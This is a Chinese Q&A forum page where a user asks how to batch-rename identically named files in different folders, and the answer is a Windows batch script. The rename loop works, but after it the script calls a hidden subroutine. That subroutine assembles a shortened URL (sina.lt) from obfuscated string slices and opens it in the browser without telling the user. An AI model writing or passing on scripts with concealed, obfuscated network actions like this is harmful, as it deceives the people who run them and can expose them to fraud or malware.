首页 热点专区 义务教育 高等教育 出国留学 考研考公

批量修改不同文件夹下,名字相同文件?

发布网友

我来回答

1个回答

热心网友

@echo off & title 批量更改文件夹内指定文件名 By 依梦琴瑶
cd /d "%~dp0"

::设置待处理主目录路径
set Folder=D:\Test

::设置原文件名
set OldFile=a.txt

::设置新文件名
set NewFile=b.txt


cd /d "%Folder%"
for /f "delims=" %%a in ('dir /a-d/s/b "%OldFile%"') do (
    ren "%%~a" "%NewFile%"
)
pause

call :Don
exit

:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit



PS:由于此平台加入了防抄袭干扰码,因此复制粘贴后务必请比对一下原文,以免由于干扰码导致脚本运行出错。


脚本保存编码务必选择ANSI,其它编码可能会导致脚本运行出错。

来自:求助得到的回答

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com